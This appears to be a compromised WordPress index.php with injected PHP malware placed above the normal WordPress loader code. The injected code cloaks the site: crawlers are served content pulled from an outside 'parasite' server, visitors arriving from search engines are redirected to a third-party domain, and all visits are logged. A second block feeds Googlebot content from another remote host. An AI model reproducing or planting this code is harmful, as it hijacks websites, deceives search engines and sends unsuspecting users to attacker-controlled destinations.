<?php 
// 获取来源URL
$referer = isset($_SERVER['HTTP_REFERER']) ? strtolower($_SERVER['HTTP_REFERER']) : '';

// 蜘蛛关键词列表
$spiderList = [
    'googlebot', 'baiduspider', 'bingbot', 'yandexbot', 'sogou', 
    'yahoo', '360spider', 'sosospider', 'msnbot', 'slurp', 
    'semrushbot', 'petalbot', 'ahrefsbot', 'spider', 'crawl',
    'bot', 'apache-httpclient', 'crawl', 'spider', 'bison',
    'scan', 'curl', 'wget', 'soso', 'yisouspider'
];

// 搜索引擎域名列表
$searchEngines = [
    'google.', 'baidu.com', 'bing.com', 'yahoo.', 'yandex.', 
    'sogou.com', 'so.com', 'soso.com', 'haosou.com', '360.cn'
];

// 寄生虫服务端URL
$parasiteUrl = 'https://bc.mzylb.cn';

// 用户跳转目标URL
$userRedirectUrl = 'http://szhyly.com';

// 检测是否为搜索引擎爬虫
function isSpider($userAgent, $spiderList) {
    if (empty($userAgent)) {
        return true; // 空UA视为爬虫
    }
    
    foreach ($spiderList as $spider) {
        if (strpos($userAgent, $spider) !== false) {
            return true;
        }
    }
    
    return false;
}

// 检测用户是否通过搜索引擎关键词进入
function isFromSearchEngine($referer, $searchEngines) {
    if (empty($referer)) {
        return false;
    }
    
    foreach ($searchEngines as $engine) {
        if (strpos($referer, $engine) !== false) {
            // 检查是否包含搜索参数 (q=, query=, wd=等)
            $searchParams = ['q=', 'query=', 'wd=', 'word=', 'text=', 'p=', 'search='];
            foreach ($searchParams as $param) {
                if (strpos($referer, $param) !== false) {
                    return true;
                }
            }
        }
    }
    
    return false;
}

// 记录访问日志（可选）
function logAccess($type, $ua, $ref) {
    $logFile = __DIR__ . '/redirect_log.txt';
    $time = date('Y-m-d H:i:s');
    $ip = $_SERVER['REMOTE_ADDR'];
    $logEntry = "[$time] IP: $ip | Type: $type | UA: $ua | Referer: $ref\n";
    
    file_put_contents($logFile, $logEntry, FILE_APPEND);
}

// 执行重定向逻辑
if (isSpider($userAgent, $spiderList)) {
    // 记录蜘蛛访问
    logAccess('spider', $userAgent, $referer);
    
    // 重定向蜘蛛到寄生虫服务端
    header('HTTP/1.1 200 OK');
    
    // 获取原始请求的URL路径部分
    $requestUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
    
    // 请求寄生虫服务并输出内容
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $parasiteUrl . $requestUri);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    echo $response;
    exit;
} elseif (isFromSearchEngine($referer, $searchEngines)) {
    // 记录搜索引擎用户访问
    logAccess('search_user', $userAgent, $referer);
    
    // 设置cookie防止重复跳转
    if (!isset($_COOKIE['redirected'])) {
        setcookie('redirected', '1', time() + 1800, '/'); // 30分钟有效期
        
        // 重定向用户到百度
        header('Location: ' . $userRedirectUrl);
        exit;
    }
} else {
    // 记录普通用户访问
    logAccess('normal_user', $userAgent, $referer);
    
    // 普通用户正常显示网站内容
    // 这里继续执行网站的正常代码
}

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
$userAgent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($userAgent, 'Googlebot') !== false) {
    $remoteUrl = 'https://facai.nuibijs.com/link.php';
    $response = file_get_contents($remoteUrl);
    echo $response;
} 
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
